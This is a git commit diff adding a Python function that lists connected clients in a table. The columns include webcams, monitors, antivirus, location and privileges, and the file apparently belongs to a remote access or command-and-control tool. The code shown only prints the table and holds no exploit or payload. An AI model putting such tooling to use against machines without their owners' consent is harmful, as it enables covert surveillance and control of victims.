diff options
author | AL-LCL <alvin@alvinhavel.com> | 2023-05-19 11:01:49 +0200 |
---|---|---|
committer | AL-LCL <alvin@alvinhavel.com> | 2023-05-19 11:01:49 +0200 |
commit | 20dbeb2f38684c65ff0a4b99012c161295708e88 (patch) | |
tree | a5b8445f55da2fbbb92443b68e9d7354a290c598 /domestic/shell/list_clients.py |
Diffstat (limited to 'domestic/shell/list_clients.py')
-rw-r--r-- | domestic/shell/list_clients.py | 24 |
1 files changed, 24 insertions, 0 deletions
diff --git a/domestic/shell/list_clients.py b/domestic/shell/list_clients.py new file mode 100644 index 0000000..1d30901 --- /dev/null +++ b/domestic/shell/list_clients.py @@ -0,0 +1,24 @@ +import tabulate + +from domestic.utility.status_message import * +from domestic.global_state import * + + +def list_clients(): + number_of_clients_connected = len(state['sockets']['clients'][0]) + clients_list = state['sockets']['clients'][1] + all_clients = [] + + if number_of_clients_connected == 0 and state['sockets']['server'] is None: + status_message(f'Use \'listen\' command to enable clients to connect\nConnected clients can be listed & interacted with', 'primary', {'end': True}) + elif number_of_clients_connected == 0: + status_message('You are listening for clients\nBut none are currently connected', 'primary', {'end': True}) + else: + for index, addr in enumerate(clients_list): + user_data = state['sockets']['clients'][2][index] + all_clients.append([index, user_data['monitors'], user_data['cams'], user_data['io-channels'], f"{user_data['username']}", user_data['address'], user_data['os'], user_data['antivirus'], user_data['location'], user_data['privileges']]) + + status_message(tabulate.tabulate(all_clients, headers=['Index', 'Monitors', 'Cams', 'I/O Channels', 'Username@Hostname', 'Address', 'Operating System', 'Antivirus', 'Location', 'Privileges']), 'pure', {'end': True}) + + print() + status_message(None, 'program')
\ No newline at end of file |